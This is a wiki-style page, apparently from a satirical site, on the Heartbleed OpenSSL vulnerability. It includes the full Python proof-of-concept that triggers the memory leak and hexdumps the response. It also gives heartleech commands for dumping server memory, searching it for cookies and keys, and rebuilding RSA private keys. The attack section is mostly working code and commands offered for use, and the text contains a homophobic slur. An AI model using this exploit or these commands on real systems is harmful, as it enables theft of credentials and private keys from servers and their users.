Heartbleed

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Heartbleed for Dummies

Heartbleed is a serious vulnerability within OpenSSL that allows a skilled hacker to steal passwords, usernames, e-mails, IMs, credit card numbers, private keys and other forms of information from any website that incorporates the software in their servers. It can also be utilized by the Party Van to take a peek at what you've been doing on TOR. The bug has existed since March 2012, and is currently estimated to affect 66% of servers worldwide. An incomplete list of major websites affected include:

• Facebook
• Google
• Yahoo
• Tumblr
• Pinterest
• Instagram
• Gmail
• Everything

A+ for creativity.

As with all security flaws exposed, an absolute mudslide of butthurt and IRL drama has ensued. In one instance, an attacker was able to hijack multiple VPN sessions by obtaining active tokens and then escalate their own privileges within the system [1]. This was a few days after the patch was released, lamenting the continued carelessness of companies who promise to safeguard your privacy.

How 2 Heartbleed

Here's how to test if a server is vulnerable to heartbeat. Original code by Jared Stafford. Use at your own risk.

For use with Python 2.7

#!/usr/bin/python
 
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
# The author disclaims copyright to this source code.
 
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
 
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
 
def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')
 
hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                  
''')
 
hb = h2bin(''' 
18 03 02 00 03
01 40 00
''')
 
def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print
 
def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time() 
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
        
 
def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay
 
def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False
 
        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True
 
        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False
 
def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return
 
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break
 
    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)
 
if __name__ == '__main__':
    main()

for lazy fags

https://github.com/robertdavidgraham/heartleech

Running

Run like the following:

./heartleech www.cloudflarechallenge.com -f challenge.bin

This will send a million heartbeat requests to the server, which by the way will create a 64-gigabyte file, since each heartbeat is 64KB in size. You can then grep that file for cookies, keys, and so on.

Or, run like the following

./heartleech www.cloudflarechallenge.com -a

This will automatically search the contents looking for prime factors for RSA keys, and if found, rebuilds the private key file for you and exits. Doesn't work with non-RSA keys.

You can also search existing files gathered by other tools, or even other memory dumps that have nothing to do with the heartbleed bug, but which may have private keys.

./heartleech -c challenge.pem -F scan.binaries

Heartbleed is part of a series on Softwarez Visit the Softwarez Portal for complete coverage.